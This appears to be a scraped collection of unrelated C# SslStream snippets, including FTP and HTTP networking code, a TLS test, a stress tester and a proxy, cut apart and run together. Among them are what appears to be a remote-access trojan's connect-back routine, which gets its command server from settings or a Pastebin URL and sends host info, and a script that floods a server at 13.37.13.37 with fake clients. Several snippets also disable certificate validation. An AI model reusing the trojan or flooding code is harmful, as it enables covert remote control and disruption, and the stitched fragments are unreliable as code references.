System.Threading.Thread.Sleep(100); lock (m_CloseRequest_Lock) { if (stop == false) { stop = m_CloseRequest; } } } //See if we closed due to an exception in the reader thread Exception readException = null; lock (m_readException_Lock) { readException = m_readException; } if (readException != null) { //TODO propagate this exception to higher code } //clean up the stream sslStream.Close(); } }
public void HandleClient(object obj) { _remoteEndPoint = (IPEndPoint)_controlClient.Client.RemoteEndPoint; _clientIp = _remoteEndPoint.Address.ToString(); _controlStream = _controlClient.GetStream(); _controlReader = new StreamReader(_controlStream); _controlWriter = new StreamWriter(_controlStream); _controlWriter.WriteLine("220 Service Ready."); _controlWriter.Flush(); _validCommands.AddRange(new[] { "AUTH", "USER", "PASS", "QUIT", "HELP", "NOOP" }); _dataClient = new TcpClient(); string renameFrom = null; try { string line; while ((line = _controlReader.ReadLine()) != null) { string response = null; var command = line.Split(' '); var cmd = command[0].ToUpperInvariant(); var arguments = command.Length > 1 ? line.Substring(command[0].Length + 1) : null; if (arguments != null && arguments.Trim().Length == 0) { arguments = null; } var logEntry = new LogEntry { Date = DateTime.Now, Cip = _clientIp, CsUriStem = arguments }; if (!_validCommands.Contains(cmd)) { response = CheckUser(); } if (cmd != "RNTO") { renameFrom = null; } if (response == null) { switch (cmd) { case "USER": response = User(arguments); break; case "PASS": response = Password(arguments); logEntry.CsUriStem = "******"; break; case "CWD": response = ChangeWorkingDirectory(arguments); break; case "CDUP": response = ChangeWorkingDirectory(".."); break; case "QUIT": response = "221 Service closing control connection"; break; case "REIN": _currentUser = null; _username = null; _passiveListener = null; _dataClient = null; response = "220 Service ready for new user"; break; case "PORT": response = Port(arguments); logEntry.CPort = _dataEndpoint.Port.ToString(CultureInfo.InvariantCulture); break; case "PASV": response = Passive(); logEntry.SPort = ((IPEndPoint)_passiveListener.LocalEndpoint).Port.ToString(CultureInfo.InvariantCulture); break; case "TYPE": response = Type(command[1], command.Length == 3 ? command[2] : null); logEntry.CsUriStem = command[1]; break; case "STRU": response = Structure(arguments); break; case "MODE": response = Mode(arguments); break; case "RNFR": renameFrom = arguments; response = "350 Requested file action pending further information"; break; case "RNTO": response = Rename(renameFrom, arguments); break; case "DELE": response = Delete(arguments); break; case "RMD": response = RemoveDir(arguments); break; case "MKD": response = CreateDir(arguments); break; case "PWD": response = PrintWorkingDirectory(); break; case "RETR": response = Retrieve(arguments); logEntry.Date = DateTime.Now; break; case "STOR": response = Store(arguments); logEntry.Date = DateTime.Now; break; case "STOU": response = StoreUnique(); logEntry.Date = DateTime.Now; break; case "APPE": response = Append(arguments); logEntry.Date = DateTime.Now; break; case "LIST": response = List(arguments ?? _currentDirectory); logEntry.Date = DateTime.Now; break; case "SYST": response = "215 UNIX Type: L8"; break; case "NOOP": response = "200 OK"; break; case "ACCT": response = "200 OK"; break; case "ALLO": response = "200 OK"; break; case "NLST": response = "502 Command not implemented"; break; case "SITE": response = "502 Command not implemented"; break; case "STAT": response = "502 Command not implemented"; break; case "HELP": response = "502 Command not implemented"; break; case "SMNT": response = "502 Command not implemented"; break; case "REST": response = "502 Command not implemented"; break; case "ABOR": response = "502 Command not implemented"; break; // Extensions defined by rfc 2228 case "AUTH": response = Auth(arguments); break; // Extensions defined by rfc 2389 case "FEAT": response = FeatureList(); break; case "OPTS": response = Options(arguments); break; // Extensions defined by rfc 3659 case "MDTM": response = FileModificationTime(arguments); break; case "SIZE": response = FileSize(arguments); break; // Extensions defined by rfc 2428 case "EPRT": response = EPort(arguments); logEntry.CPort = _dataEndpoint.Port.ToString(CultureInfo.InvariantCulture); break; case "EPSV": response = EPassive(); logEntry.SPort = ((IPEndPoint)_passiveListener.LocalEndpoint).Port.ToString(); break; default: response = "502 Command not implemented"; break; } } logEntry.CsMethod = cmd; logEntry.CsUsername = _username; logEntry.ScStatus = response.Substring(0, response.IndexOf(' ')); _log.Info(logEntry); if (_controlClient == null || !_controlClient.Connected) { break; } _controlWriter.WriteLine(response); _controlWriter.Flush(); if (response.StartsWith("221")) { break; } if (cmd != "AUTH") { continue; } _cert = new X509Certificate("server.cer"); _sslStream = new SslStream(_controlStream); _sslStream.AuthenticateAsServer(_cert); _controlReader = new StreamReader(_sslStream); _controlWriter = new StreamWriter(_sslStream); } } catch (Exception ex) { _log.Error(ex.Message); } Dispose(); }
static async Task Main(string[] args) { if (args.Length == 0) { Console.WriteLine("No host names specified!"); } foreach (var hostName in args) { Console.WriteLine(); WriteLineWithColour(GetHeader(hostName), ConsoleColor.DarkGreen); Console.WriteLine(); try { string host; var port = DefaultPortNumber; var m = s_hostNameWithPort.Match(hostName); if (m.Success) { host = m.Groups["host"].Value; port = int.Parse(m.Groups["port"].Value); } else { host = hostName; } string resolvedHostNameOrIp; if (IPAddress.TryParse(host, out var ip)) { resolvedHostNameOrIp = ip.ToString(); } else if (string.Equals(host, Localhost, StringComparison.OrdinalIgnoreCase)) { resolvedHostNameOrIp = Localhost; } else { var dnsEntry = await Dns.GetHostEntryAsync(host).ConfigureAwait(false); resolvedHostNameOrIp = dnsEntry.HostName; } Console.WriteLine($"Resolved Host Name: {resolvedHostNameOrIp}"); using (var tcpClient = new TcpClient(resolvedHostNameOrIp, port)) using (var sslStream = new SslStream(tcpClient.GetStream(), false, ValidateServerCertificate, null)) { await sslStream.AuthenticateAsClientAsync( resolvedHostNameOrIp, null, SslProtocols.Tls12, true ).ConfigureAwait(false); var tlsInfo = new TlsInfo(sslStream); Console.WriteLine($"TLS Version: {tlsInfo.ProtocolVersion}"); Console.WriteLine($"Key Exchange Algorithm: {tlsInfo.KeyExchangeAlgorithm}"); Console.WriteLine($"Cipher Algorithm: {tlsInfo.CipherAlgorithm}"); Console.WriteLine($"Hash Algorithm: {tlsInfo.HashAlgorithm}"); Console.WriteLine("Certificate:"); Console.WriteLine(); Console.WriteLine(tlsInfo.RemoteCertificate.ToString(false)); } } catch (Exception e) { WriteLineWithColour(e.ToString(), ConsoleColor.DarkRed); Console.WriteLine(); } } }
/// <summary> /// Attempts to authenticate the stream /// </summary> /// <param name="stream">the base stream to authenticate</param> /// <param name="useSsl">gets if ssl should be used</param> /// <param name="secureStream">the secure stream that is valid if the function returns true.</param> /// <param name="token">the user's token assocated with what user created the stream</param> /// <returns>true if successful, false otherwise</returns> public bool TryAuthenticateAsServer(Stream stream, bool useSsl, out Stream secureStream, out T token) { token = default(T); secureStream = null; SslStream ssl = null; try { Stream stream2; byte[] certSignatures; if (useSsl) { if (!TryConnectSsl(stream, out ssl)) { return(false); } stream2 = ssl; certSignatures = SecureStream.ComputeCertificateChallenge(true, ssl); } else { certSignatures = new byte[0]; stream2 = stream; } TryAgain: State state = m_state; AuthenticationMode authenticationMode = (AuthenticationMode)stream2.ReadNextByte(); Guid userToken; switch (authenticationMode) { case AuthenticationMode.None: if (!state.ContainsDefaultCredentials) { stream2.Write(false); if (ssl != null) { ssl.Dispose(); } return(false); } stream2.Write(true); userToken = state.DefaultUserToken; break; //case AuthenticationMode.Srp: //SRP // m_srp.AuthenticateAsServer(ssl, certSignatures); // break; case AuthenticationMode.Integrated: //Integrated if (!m_integrated.TryAuthenticateAsServer(stream2, out userToken, certSignatures)) { if (ssl != null) { ssl.Dispose(); } return(false); } break; //case AuthenticationMode.Scram: //Scram // m_scram.AuthenticateAsServer(ssl, certSignatures); // break; //case AuthenticationMode.Certificate: //Certificate // m_cert.AuthenticateAsServer(ssl); // break; case AuthenticationMode.ResumeSession: if (TryResumeSession(stream2, certSignatures, out userToken)) { lock (m_syncRoot) { m_userTokens.TryGetValue(userToken, out token); } secureStream = stream2; return(true); } goto TryAgain; default: Log.Publish(MessageLevel.Info, "Invalid Authentication Method", authenticationMode.ToString()); return(false); } stream2.Write(false); stream2.Flush(); //ToDo: Support resume tickets //byte[] ticket; //byte[] secret; //CreateResumeTicket(userToken, out ticket, out secret); //stream2.WriteByte((byte)ticket.Length); //stream2.Write(ticket); //stream2.WriteByte((byte)secret.Length); //stream2.Write(secret); //stream2.Flush(); lock (m_syncRoot) { m_userTokens.TryGetValue(userToken, out token); } secureStream = stream2; return(true); } catch (Exception ex) { Log.Publish(MessageLevel.Info, "Authentication Failed: Unknown Exception", null, null, ex); if (ssl != null) { ssl.Dispose(); } return(false); } }
Connect() { Uri uri = CurrentRequest.HasProxy ? CurrentRequest.Proxy.Address : CurrentRequest.CurrentUri; if (Client == null) { Client = new TcpClient(); } if (!Client.Connected) { Client.ConnectTimeout = CurrentRequest.ConnectTimeout; //#if NETFX_CORE //await //#endif Client.Connect(uri.Host, uri.Port); } if (Stream == null) { if (HasProxy && !Proxy.IsTransparent) { Stream = Client.GetStream(); var outStream = new BinaryWriter(Stream); outStream.Write(string.Format("CONNECT {0}:{1} HTTP/1.1", CurrentRequest.CurrentUri.Host, CurrentRequest.CurrentUri.Port).GetASCIIBytes()); outStream.Write(HTTPRequest.EOL); outStream.Write(string.Format("Host: {0}:{1}", CurrentRequest.CurrentUri.Host, CurrentRequest.CurrentUri.Port).GetASCIIBytes()); outStream.Write(HTTPRequest.EOL); outStream.Write(string.Format("Proxy-Connection: Keep-Alive")); outStream.Write(HTTPRequest.EOL); outStream.Write(HTTPRequest.EOL); outStream.Flush(); ReadTo(Stream, HTTPResponse.LF); ReadTo(Stream, HTTPResponse.LF); } if (HTTPProtocolFactory.IsSecureProtocol(uri)) { // On WP8 there are no Mono, so we must use the 'alternate' TlsHandlers #if !UNITY_WP8 && !NETFX_CORE if (CurrentRequest.UseAlternateSSL) { #endif var handler = new TlsClientProtocol(Client.GetStream(), new Org.BouncyCastle.Security.SecureRandom()); handler.Connect(new LegacyTlsClient(new AlwaysValidVerifyer())); Stream = handler.Stream; #if !UNITY_WP8 && !NETFX_CORE } else { SslStream sslStream = new SslStream(Client.GetStream(), false, (sender, cert, chain, errors) => { return(CurrentRequest.CallCustomCertificationValidator(cert, chain)); }); if (!sslStream.IsAuthenticated) { sslStream.AuthenticateAsClient(uri.Host); } Stream = sslStream; } #endif } else { Stream = Client.GetStream(); } } }
public static void doTheThing() { var client = new TcpClient(); SslStream sslStream = null; try { client.Connect("13.37.13.37", 1337); sslStream = new SslStream(client.GetStream(), true, (o, certificate, chain, errors) => true); sslStream.AuthenticateAsClient("Hello."); } catch { Console.WriteLine("Failed to connect. Server dead?"); return; } sslStream.Write(new byte[] { 0 }); // client var binaryReader = new BinaryReader(sslStream); var binaryWriter = new BinaryWriter(sslStream, Encoding.UTF8, true); binaryWriter.Write(5); // we're using api v5 binaryReader.ReadByte(); if (binaryReader.ReadByte() != 0) { Console.WriteLine("Error? 1"); return; } int position = binaryReader.ReadInt32(); KeyDatabase keyDatabase = new KeyDatabase(); binaryWriter.Write(keyDatabase.GetKey(position, "@=<VY]BUQM{sp&hH%xbLJcUd/2sWgR+YA&-_Z>/$skSXZR!:(yZ5!>t>ZxaPTrS[Z/'R,ssg'.&4yZN?S)My+:QV2(c&x/TU]Yq2?g?*w7*r@pmh")); if (binaryReader.ReadByte() != 6) { Console.WriteLine("Error? 2"); return; } var provider = new RNGCryptoServiceProvider(); var hwidSalt = new byte[4]; provider.GetBytes(hwidSalt); //hwid binaryWriter.Write("foo bar baz buzz" + BitConverter.ToUInt32(hwidSalt, 0).ToString()); // arbitrary byte b = binaryReader.ReadByte(); if (b == 7) { if (new Random().Next(0, 5) < 3) { binaryWriter.Write(""); } else if (new Random().Next(0, 5) < 1) { binaryWriter.Write(randomString(255)); } else { binaryWriter.Write(randomString(2) + new string('\n', 252)); } b = binaryReader.ReadByte(); } if (b != 3) { Console.WriteLine("Error 3?"); return; } var randomKiloByte = new byte[2048]; provider.GetBytes(randomKiloByte); var information = new BasicComputerInformation() { UserName = randomString(new Random().Next(0, 255)), // you can just put in TempleOS too or randomString(256) OperatingSystemName = "Microsoft Windows 10 Pro", Language = "English (United States)", IsAdministrator = new Random().Next(3) != 1, ClientConfig = null, ClientVersion = new Random().Next(19), ApiVersion = 2, ClientPath = new string('\a', 10000), FrameworkVersion = 1, MacAddress = randomKiloByte // wastes space in their database }; new Serializer(new List <Type>(BuilderPropertyHelper.GetAllBuilderPropertyTypes()) { typeof(BasicComputerInformation) }).Serialize(sslStream, information); Console.WriteLine($"Connected fake client #{++iterations}"); }
private async ValueTask <(HttpConnection, HttpResponseMessage)> CreateConnectionAsync(HttpRequestMessage request, CancellationToken cancellationToken) { // If a non-infinite connect timeout has been set, create and use a new CancellationToken that'll be canceled // when either the original token is canceled or a connect timeout occurs. CancellationTokenSource cancellationWithConnectTimeout = null; if (Settings._connectTimeout != Timeout.InfiniteTimeSpan) { cancellationWithConnectTimeout = CancellationTokenSource.CreateLinkedTokenSource(cancellationToken, default); cancellationWithConnectTimeout.CancelAfter(Settings._connectTimeout); cancellationToken = cancellationWithConnectTimeout.Token; } try { Stream stream = null; switch (_kind) { case HttpConnectionKind.Http: case HttpConnectionKind.Https: case HttpConnectionKind.ProxyConnect: stream = await ConnectHelper.ConnectAsync(_host, _port, cancellationToken).ConfigureAwait(false); break; case HttpConnectionKind.Proxy: stream = await ConnectHelper.ConnectAsync(_proxyUri.IdnHost, _proxyUri.Port, cancellationToken).ConfigureAwait(false); break; case HttpConnectionKind.SslProxyTunnel: HttpResponseMessage response; (stream, response) = await EstablishProxyTunnel(cancellationToken).ConfigureAwait(false); if (response != null) { // Return non-success response from proxy. response.RequestMessage = request; return(null, response); } break; } TransportContext transportContext = null; if (_sslOptions != null) { SslStream sslStream = await ConnectHelper.EstablishSslConnectionAsync(_sslOptions, request, stream, cancellationToken).ConfigureAwait(false); stream = sslStream; transportContext = sslStream.TransportContext; } HttpConnection connection = _maxConnections == int.MaxValue ? new HttpConnection(this, stream, transportContext) : new HttpConnectionWithFinalizer(this, stream, transportContext); // finalizer needed to signal the pool when a connection is dropped return(connection, null); } finally { cancellationWithConnectTimeout?.Dispose(); } }
} //ping value public static void InitializeClient() //Connect & reconnect { try { TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) { ReceiveBufferSize = 50 * 1024, SendBufferSize = 50 * 1024, }; if (Settings.Pastebin == "null") { string ServerIP = Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)]; int ServerPort = Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]); if (IsValidDomainName(ServerIP)) //check if the address is alphanumric (meaning its a domain) { IPAddress[] addresslist = Dns.GetHostAddresses(ServerIP); //get all IP's connected to that domain foreach (IPAddress theaddress in addresslist) //we do a foreach becasue a domain can lead to multiple IP's { try { TcpClient.Connect(theaddress, ServerPort); //lets try and connect! if (TcpClient.Connected) { break; } } catch { } } } else { TcpClient.Connect(ServerIP, ServerPort); //legacy mode connect (no DNS) } } else { using (WebClient wc = new WebClient()) { NetworkCredential networkCredential = new NetworkCredential("", ""); wc.Credentials = networkCredential; string resp = wc.DownloadString(Settings.Pastebin); string[] spl = resp.Split(new[] { ":" }, StringSplitOptions.None); Settings.Hosts = spl[0]; Settings.Ports = spl[new Random().Next(1, spl.Length)]; TcpClient.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports)); } } if (TcpClient.Connected) { Debug.WriteLine("Connected!"); IsConnected = true; SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); Buffer = new byte[4]; MS = new MemoryStream(); Send(IdSender.SendInfo()); KeepAlive = new Timer(new TimerCallback(KeepAlivePacket), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 60 * 1000)); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); } else { IsConnected = false; return; } } catch { Debug.WriteLine("Disconnected!"); IsConnected = false; return; } }
// listener thread private void Listen(SslStream sslStream, Queue messagesQueue) { isShutdown = false; while (!isShutdown) { Thread.Sleep(1); byte[] _length = new byte[sizeof(int)]; int readBytes = 0; do { Thread.Sleep(0); readBytes += sslStream.Read(_length, readBytes, _length.Length - readBytes); } while (readBytes < _length.Length); int length = BitConverter.ToInt32(_length.Reverse().ToArray(), 0); if (length <= 0) { continue; } if (length > MaxMessageSize) { string exceptionMsg = "Message length " + length.ToString() + " is out of range (0 - " + MaxMessageSize.ToString() + ")"; throw new System.IndexOutOfRangeException(); } byte[] _message = new byte[length]; readBytes = 0; do { Thread.Sleep(0); readBytes += sslStream.Read(_message, readBytes, _message.Length - readBytes); } while (readBytes < length); var msgFactory = new OpenApiMessagesFactory(); var protoMessage = msgFactory.GetMessage(_message); messagesQueue.Enqueue("Received: " + OpenApiMessagesPresentation.ToString(protoMessage)); switch ((ProtoOAPayloadType)protoMessage.PayloadType) { case ProtoOAPayloadType.PROTO_OA_APPLICATION_AUTH_RES: ProtoOAApplicationAuthRes Res = msgFactory.GetApplicationAuthorizationResponse(_message); Console.WriteLine(Res.ToString()); break; case ProtoOAPayloadType.PROTO_OA_EXECUTION_EVENT: var _payload_msg = msgFactory.GetExecutionEvent(_message); if (_payload_msg.HasOrder) { testOrderId = _payload_msg.Order.OrderId; } if (_payload_msg.HasPosition) { testPositionId = _payload_msg.Position.PositionId; } break; case ProtoOAPayloadType.PROTO_OA_GET_ACCOUNTS_BY_ACCESS_TOKEN_RES: var _accounts_list = ProtoOAGetAccountListByAccessTokenRes.CreateBuilder().MergeFrom(protoMessage.Payload).Build(); _accounts = _accounts_list.CtidTraderAccountList; break; case ProtoOAPayloadType.PROTO_OA_TRADER_RES: var trader = ProtoOATraderRes.CreateBuilder().MergeFrom(protoMessage.Payload).Build(); _traders.Add(trader.Trader); break; case ProtoOAPayloadType.PROTO_OA_RECONCILE_RES: var _reconcile_list = ProtoOAReconcileRes.CreateBuilder().MergeFrom(protoMessage.Payload).Build(); break; default: break; } ; } }
public int Initialize(ref ArraySegment <byte> readBuffer, IList <ArraySegment <byte> > writeBuffer) { if (!_isConnected) { int status = _delegate.Initialize(ref readBuffer, writeBuffer); if (status != IceInternal.SocketOperation.None) { return(status); } _isConnected = true; } Socket?fd = _delegate.Fd(); Debug.Assert(fd != null); IceInternal.Network.SetBlock(fd, true); // SSL requires a blocking socket // // For timeouts to work properly, we need to receive/send // the data in several chunks. Otherwise, we would only be // notified when all the data is received/written. The // connection timeout could easily be triggered when // receiging/sending large messages. // _maxSendPacketSize = Math.Max(512, IceInternal.Network.GetSendBufferSize(fd)); _maxRecvPacketSize = Math.Max(512, IceInternal.Network.GetRecvBufferSize(fd)); if (_sslStream == null) { try { _sslStream = new SslStream(new NetworkStream(fd, false), false, new RemoteCertificateValidationCallback(ValidationCallback), new LocalCertificateSelectionCallback(SelectCertificate)); } catch (IOException ex) { if (IceInternal.Network.ConnectionLost(ex)) { throw new Ice.ConnectionLostException(ex); } else { throw new Ice.SocketException(ex); } } return(IceInternal.SocketOperation.Connect); } Debug.Assert(_sslStream.IsAuthenticated); _authenticated = true; _cipher = _sslStream.CipherAlgorithm.ToString(); _instance.VerifyPeer((ConnectionInfo)GetInfo(), ToString()); if (_instance.SecurityTraceLevel() >= 1) { _instance.TraceStream(_sslStream, ToString()); } return(IceInternal.SocketOperation.None); }
/// <summary> /// Constructor for a socket client handler on SSL without receive queue /// </summary> /// <param name="handler">The socket handler</param> /// <param name="stream">The ssl stream</param> public AbstractTcpSocketClientHandler(Socket handler, SslStream stream) : this(handler, stream, false) { }
/// <summary> /// Accepts incoming connection requests asynchronously. /// </summary> private void ProcessClient(TcpClient client) { SslStream securestream = default(SslStream); NetworkStream stream = default(NetworkStream); try { // Configure the client to not delay send and receives. client.NoDelay = true; // Get the client stream. stream = client.GetStream(); // Create a secure stream. securestream = null; // Create the buffer. byte[] buffer = new byte[BufferSize]; // Determine if a secure connection was requested. if (Secure == false) { // Remember the client and its host information. AddClient(client); // Listen asynchronously for incoming messages from this client. Read(buffer, client, stream); } else if (Secure == true) { // Create a secure stream and authenticate the server certificate. securestream = new SslStream(client.GetStream(), false); securestream.AuthenticateAsServer(servercertificate, false, SslProtocols.Tls12, true); // Remember the client and its host information. AddClient(client, securestream); // Listen asynchronously for incoming messages from this client. SecureRead(buffer, client, securestream); } } catch (IOException) { // If the connecton drops out or something, close the connection. client.GetStream().Close(); client.Close(); } catch (AuthenticationException) { // If the connection doesn't have an SSL stream or wrong SSL Protocol etc., close the connection. securestream.Close(); client.Close(); } catch (Exception Ex) { // Don't know what the hell happened, lets close the connection and log the exception. OnLog(new LogEventArgs(DateTime.Now, "ERROR", Ex.ToString())); if (Secure == true) { securestream.Close(); } else if (Secure == false) { client.GetStream().Close(); } client.Close(); } }
public async Task CertificateValidationClientServer_EndToEnd_Ok(bool useClientSelectionCallback) { IPEndPoint endPoint = new IPEndPoint(IPAddress.Loopback, 0); var server = new TcpListener(endPoint); server.Start(); _clientCertificateRemovedByFilter = false; if (PlatformDetection.IsWindows7 && !useClientSelectionCallback && !Capability.IsTrustedRootCertificateInstalled()) { // https://technet.microsoft.com/en-us/library/hh831771.aspx#BKMK_Changes2012R2 // Starting with Windows 8, the "Management of trusted issuers for client authentication" has changed: // The behavior to send the Trusted Issuers List by default is off. // // In Windows 7 the Trusted Issuers List is sent within the Server Hello TLS record. This list is built // by the server using certificates from the Trusted Root Authorities certificate store. // The client side will use the Trusted Issuers List, if not empty, to filter proposed certificates. _clientCertificateRemovedByFilter = true; } using (var clientConnection = new TcpClient()) { IPEndPoint serverEndPoint = (IPEndPoint)server.LocalEndpoint; Task clientConnect = clientConnection.ConnectAsync(serverEndPoint.Address, serverEndPoint.Port); Task <TcpClient> serverAccept = server.AcceptTcpClientAsync(); await TestConfiguration.WhenAllOrAnyFailedWithTimeout(clientConnect, serverAccept); LocalCertificateSelectionCallback clientCertCallback = null; if (useClientSelectionCallback) { clientCertCallback = ClientCertSelectionCallback; } using (TcpClient serverConnection = await serverAccept) using (SslStream sslClientStream = new SslStream( clientConnection.GetStream(), false, ClientSideRemoteServerCertificateValidation, clientCertCallback)) using (SslStream sslServerStream = new SslStream( serverConnection.GetStream(), false, ServerSideRemoteClientCertificateValidation)) { string serverName = _serverCertificate.GetNameInfo(X509NameType.SimpleName, false); var clientCerts = new X509CertificateCollection(); if (!useClientSelectionCallback) { clientCerts.Add(_clientCertificate); } Task clientAuthentication = sslClientStream.AuthenticateAsClientAsync( serverName, clientCerts, SslProtocolSupport.DefaultSslProtocols, false); Task serverAuthentication = sslServerStream.AuthenticateAsServerAsync( _serverCertificate, true, SslProtocolSupport.DefaultSslProtocols, false); await TestConfiguration.WhenAllOrAnyFailedWithTimeout(clientAuthentication, serverAuthentication); if (!_clientCertificateRemovedByFilter) { Assert.True(sslClientStream.IsMutuallyAuthenticated, "sslClientStream.IsMutuallyAuthenticated"); Assert.True(sslServerStream.IsMutuallyAuthenticated, "sslServerStream.IsMutuallyAuthenticated"); Assert.Equal(sslServerStream.RemoteCertificate.Subject, _clientCertificate.Subject); } else { Assert.False(sslClientStream.IsMutuallyAuthenticated, "sslClientStream.IsMutuallyAuthenticated"); Assert.False(sslServerStream.IsMutuallyAuthenticated, "sslServerStream.IsMutuallyAuthenticated"); Assert.Null(sslServerStream.RemoteCertificate); } Assert.Equal(sslClientStream.RemoteCertificate.Subject, _serverCertificate.Subject); } } }
static void Main(string[] args) { var showHelp = false; var loadTarget = 4; var options = new OptionSet { "Usage: TlsConnectStressTest.exe --load 4", { "h|?|help", "Displays usage instructions.", val => showHelp = val != null }, { "load=", "Amount of load to generate, from 1 to N", (int x) => loadTarget = x } }; var remainingOptions = options.Parse(args); if (showHelp) { options.WriteOptionDescriptions(Console.Out); return; } if (remainingOptions.Count != 0) { Console.WriteLine("Unknown command line parameters: {0}", string.Join(" ", remainingOptions.ToArray())); Console.WriteLine("For usage instructions, use the --help command line parameter."); return; } var targetUrl = new Uri("https://localhost:443"); var payload = Helpers.Random.GetBytes(1 * 1024 * 1024); var iterations = 0L; var clientRange = IPNetwork.Parse("127.0.0.0/16"); var clientAddresses = new List <IPAddress>(256 * 256 * 256); foreach (var address in clientRange.ListIPAddress(FilterEnum.Usable).ToList()) { clientAddresses.Add(address); } var serverEndpoint = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 443); var threadCount = loadTarget; var threads = new Thread[threadCount]; for (var i = 0; i < threadCount; i++) { bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) => true; void ThreadEntryPoint() { while (true) { try { // We exhaust local dynamic port pool per IP address, so just hop addresses. var clientAddress = Helpers.Random.GetRandomItem(clientAddresses); using var client = new TcpClient(new IPEndPoint(clientAddress, 0)); // We want to send small packets, trickled one by one. client.NoDelay = true; // One would hope that this prevents the client port from hanging around for long. // One would be wrong but we might as well try. client.LingerState.Enabled = false; client.LingerState.LingerTime = 1; // Just in case. client.SendTimeout = 1000; client.ReceiveTimeout = 1000; client.Connect(serverEndpoint); using var rawStream = client.GetStream(); using var slicer = new SlicerStream(rawStream); using var stream = new SslStream(slicer, false, ValidateServerCertificate, null); stream.AuthenticateAsClient("127.0.0.1"); stream.Write(payload); stream.Flush(); stream.ReadByte(); rawStream.Close(100); } catch { // Don't really care about errors. } finally { Interlocked.Increment(ref iterations); } } } threads[i] = new Thread(ThreadEntryPoint) { IsBackground = true, Name = $"Worker #{i}" }; threads[i].Start(); } Console.WriteLine($"Starting https://127.0.0.1:443 with {threadCount} threads."); while (true) { Thread.Sleep(TimeSpan.FromSeconds(5)); Console.WriteLine($"Iteration {iterations:N0}"); } }
private async void AcceptTcpClientCallback(IAsyncResult result) { try { var listener = (TcpListener)result.AsyncState; if (listener != null) { var client = listener.EndAcceptTcpClient(result); listener.BeginAcceptTcpClient(AcceptTcpClientCallback, listener); using (client) { var clientStream = client.GetStream(); var content = await new StreamReader(clientStream).ReadLineAsync(); // content starts with "CONNECT" means it's trying to establish an HTTPS connection if (content == null || !content.StartsWith("CONNECT")) { return; } var writer = new StreamWriter(clientStream); await writer.WriteLineAsync("HTTP/1.1 200 Connection established"); await writer.WriteLineAsync($"Timestamp: {DateTime.Now}"); await writer.WriteLineAsync("Proxy-agent: Pixeval"); await writer.WriteLineAsync(); await writer.FlushAsync(); var clientSsl = new SslStream(clientStream, false); // use specified certificate to establish the HTTPS connection await clientSsl.AuthenticateAsServerAsync(_certificate, false, SslProtocols.Tls | SslProtocols.Tls13 | SslProtocols.Tls12 | SslProtocols.Tls11, false); // create an HTTP connection to the target IP var serverSsl = await CreateConnection(_ip); // forwarding the HTTPS connection without SNI var request = Task.Run(() => { try { clientSsl.CopyTo(serverSsl); } catch { // ignore } }); var response = Task.Run(() => { try { serverSsl.CopyTo(clientSsl); } catch { // ignore } }); Task.WaitAny(request, response); serverSsl.Close(); } } } catch { // ignore } }
/// <summary> /// Send a message and receive the message /// </summary> public IMessage SendAndReceive(IMessage message, string thumbprint) { X509Store store = new X509Store(StoreName.My, StoreLocation.LocalMachine); store.Open(OpenFlags.ReadOnly); var certificates = store.Certificates.Find(X509FindType.FindByThumbprint, thumbprint.ToUpper(), false); if (certificates.Count > 1) { //throw; } else { } // Encode the message var parser = new PipeParser(); string strMessage = string.Empty; var id = Guid.NewGuid().ToString(); strMessage = parser.Encode(message); // Open a TCP port using (TcpClient client = new TcpClient(AddressFamily.InterNetwork)) { try { // Connect on the socket client.Connect(this.m_endpoint.Host, this.m_endpoint.Port); SslStream sslStream; if (certificates[0] != null) { sslStream = new SslStream(client.GetStream(), false, null); var collection = new X509CertificateCollection { certificates[0] }; sslStream.AuthenticateAsClient(this.m_endpoint.Host, collection, System.Security.Authentication.SslProtocols.Tls, true); } DateTime start = DateTime.Now; // Get the stream using (var stream = client.GetStream()) { // Write message in ASCII encoding byte[] buffer = System.Text.Encoding.UTF8.GetBytes(strMessage); byte[] sendBuffer = new byte[buffer.Length + 3]; sendBuffer[0] = 0x0b; Array.Copy(buffer, 0, sendBuffer, 1, buffer.Length); Array.Copy(new byte[] { 0x1c, 0x0d }, 0, sendBuffer, sendBuffer.Length - 2, 2); // Write start message //stream.Write(new byte[] { 0x0b }, 0, 1); stream.Write(sendBuffer, 0, sendBuffer.Length); // Write end message //stream.Write(new byte[] { 0x1c, 0x0d }, 0, 2); stream.Flush(); // Ensure all bytes get sent down the wire // Now read the response StringBuilder response = new StringBuilder(); buffer = new byte[1024]; while (!buffer.Contains((byte)0x1c)) // HACK: Keep reading until the buffer has the FS character { int br = stream.Read(buffer, 0, 1024); int ofs = 0; if (buffer[ofs] == '\v') { ofs = 1; br = br - 1; } response.Append(System.Text.Encoding.UTF8.GetString(buffer, ofs, br)); } //Debug.WriteLine(response.ToString()); // Parse the response //this.LastResponseTime = DateTime.Now.Subtract(start); return(parser.Parse(response.ToString())); } } catch (Exception e) { Debug.WriteLine(e.ToString()); throw; } } }